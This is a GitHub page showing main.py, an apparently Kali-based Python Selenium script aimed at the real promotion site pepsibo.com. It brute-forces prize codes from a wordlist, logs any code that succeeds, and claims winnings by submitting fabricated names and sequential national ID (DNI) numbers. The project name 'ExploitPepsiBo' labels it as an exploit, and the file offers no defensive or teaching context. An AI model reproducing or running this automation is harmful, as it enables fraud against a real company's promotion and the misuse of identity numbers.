-
Notifications
You must be signed in to change notification settings - Fork 0
/
main.py
148 lines (107 loc) · 4.39 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
import time
import os
from datetime import datetime
from colorama import init, Fore, Back, Style
from selenium.webdriver.common.action_chains import ActionChains
from selenium import webdriver
from selenium.webdriver.remote.webelement import WebElement
from selenium.webdriver.support import expected_conditions as EC
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions
from selenium.webdriver.common.by import By
import pandas as pd
driver_path = "/home/kali/Downloads/geckodriver"
driver = webdriver.Firefox(executable_path=driver_path)
actions = ActionChains(driver)
driver.maximize_window()
driver.get("https://www.pepsibo.com/")
ActionChains(driver).move_by_offset(200, 100).click().perform() #click izquierdo
#Seleccionar linea
WebDriverWait(driver, 5)\
.until(EC.element_to_be_clickable((By.XPATH,
"/html/body/div[3]/section[1]/div[2]/div[2]/form[1]/div[3]/div[2]/select/option[2]")))\
.click()
#Seleccionar telefono
WebDriverWait(driver, 5)\
.until(EC.element_to_be_clickable((By.CSS_SELECTOR,
"input#msisdn")))\
.send_keys("63969212")
def ganador():
WebDriverWait(driver, 5)\
.until(EC.element_to_be_clickable((By.XPATH,
"/html/body/div[3]/section[1]/div[2]/div[2]/div/div/div/button")))\
.click()
def clearCode():
WebDriverWait(driver, 5) \
.until(EC.element_to_be_clickable((By.CSS_SELECTOR,
"input#code"))) \
.clear()
def ResetCode():
WebDriverWait(driver, 5) \
.until(EC.element_to_be_clickable((By.XPATH,
"/html/body/div[3]/section[1]/div[2]/div[2]/div/button"))) \
.click()
def Csend():
WebDriverWait(driver, 5)\
.until(EC.element_to_be_clickable((By.XPATH,
"/html/body/div[3]/section[1]/div[2]/div[2]/form[1]/div[4]/button")))\
.click()
def codesend(code):
WebDriverWait(driver, 5)\
.until(EC.element_to_be_clickable((By.CSS_SELECTOR,
"input#code")))\
.send_keys(code)
count = 7897455
def sendName(name,apellido,count):
def sendUsername():
WebDriverWait(driver, 5) \
.until(EC.element_to_be_clickable((By.CSS_SELECTOR,
"input#FirstName"))) \
.send_keys(name)
def sendApellido():
WebDriverWait(driver, 5) \
.until(EC.element_to_be_clickable((By.CSS_SELECTOR,
"input#LastName"))) \
.send_keys(apellido)
def dniSend(count):
WebDriverWait(driver, 5) \
.until(EC.element_to_be_clickable((By.CSS_SELECTOR,
"input#DNI"))) \
.send_keys(count)
count += 1
def SelectDepartament():
WebDriverWait(driver, 5) \
.until(EC.element_to_be_clickable((By.XPATH,
"/html/body/div[3]/section[1]/div[2]/div[2]/form[2]/div[2]/select/option[3]"))) \
.click()
def clickSendBOT():
WebDriverWait(driver, 5) \
.until(EC.element_to_be_clickable((By.XPATH,
"/html/body/div[3]/section[1]/div[2]/div[2]/form[2]/button"))) \
.click()
sendUsername()
sendApellido()
dniSend(count)
SelectDepartament()
clickSendBOT()
with open("/home/kali/codes.txt","r") as codeVector:
for i in codeVector:
code = i
codesend(code)
Csend()
try:
ResetCode()
print("Codigo incorrecto : "+Fore.RED+ i + Fore.WHITE)
except Exception as e:
try:
pablo=datetime.now().strftime('%Y-%m-%d %H:%M:%S')
print("Codigo correcto : "+Fore.GREEN+i+Fore.WHITE+" hora "+pablo)
destFile = r"/home/kali/PycharmProjects/ExploitPepsiBo/codigos_validos.txt"
with open(destFile, 'a') as f:
f.write(pablo+" codigo : "+code)
ganador()
time.sleep(5)
except Exception as e:
sendName(code,"valencia",count)
clearCode()
print("Error querido no funciona tu codigo")